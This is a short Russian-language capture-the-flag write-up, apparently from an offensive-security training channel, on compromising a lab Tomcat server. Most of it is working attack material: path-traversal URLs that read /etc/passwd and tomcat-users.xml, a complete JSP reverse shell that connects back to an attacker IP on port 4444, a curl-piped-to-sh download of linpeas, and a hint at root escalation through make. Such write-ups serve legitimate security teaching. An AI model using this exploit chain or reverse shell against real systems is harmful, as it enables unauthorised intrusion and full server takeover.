День 19. Таск "Том"
Таск: Этот кот полностью здоров, кстати.
Уже подсказка - что рыть надо в сторону TomCat
Тут находим страницу менеджера
Проверяем страничку - перекидывает сразу на log=, а от сюда уже можно LFI смотреть
http://192.168.2.216:65535/?log=catalina.out
etc/pass - читаемо
2)http://192.168.2.216:65535/?log=../../../../../../etc/passwd
посмотрим юзеров и паролей - находим менеджера ( админ)
http://192.168.2.216:65535/?log=../../../../../../opt/apache-tomcat-9.0.106/conf/tomcat-users.xml
cat > revshell.jsp << 'EOF'
<%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %>
<%
class StreamConnector extends Thread {
InputStream ig;
OutputStream og;
StreamConnector(InputStream ig, OutputStream og) {
this.ig = ig;
this.og = og;
}
public void run() {
BufferedReader in = null;
BufferedWriter out = null;
try {
in = new BufferedReader(new InputStreamReader(this.ig));
out = new BufferedWriter(new OutputStreamWriter(this.og));
char buffer[] = new char[8192];
int length;
while ((length = in.read(buffer, 0, buffer.length)) > 0) {
out.write(buffer, 0, length);
out.flush();
}
} catch(Exception e) {}
try {
if (in != null) in.close();
if (out != null) out.close();
} catch(Exception e) {}
}
}
try {
String ShellPath = "/bin/bash";
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = "/bin/sh";
}
Socket socket = new Socket("192.168.124.237", 4444);
Process process = Runtime.getRuntime().exec(ShellPath);
(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
(new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
} catch(Exception e) {}
%>
EOF
получаем доступ к серваку ну и пробуем linpeas
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Узнаем что make использовать можем из под рута)
Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!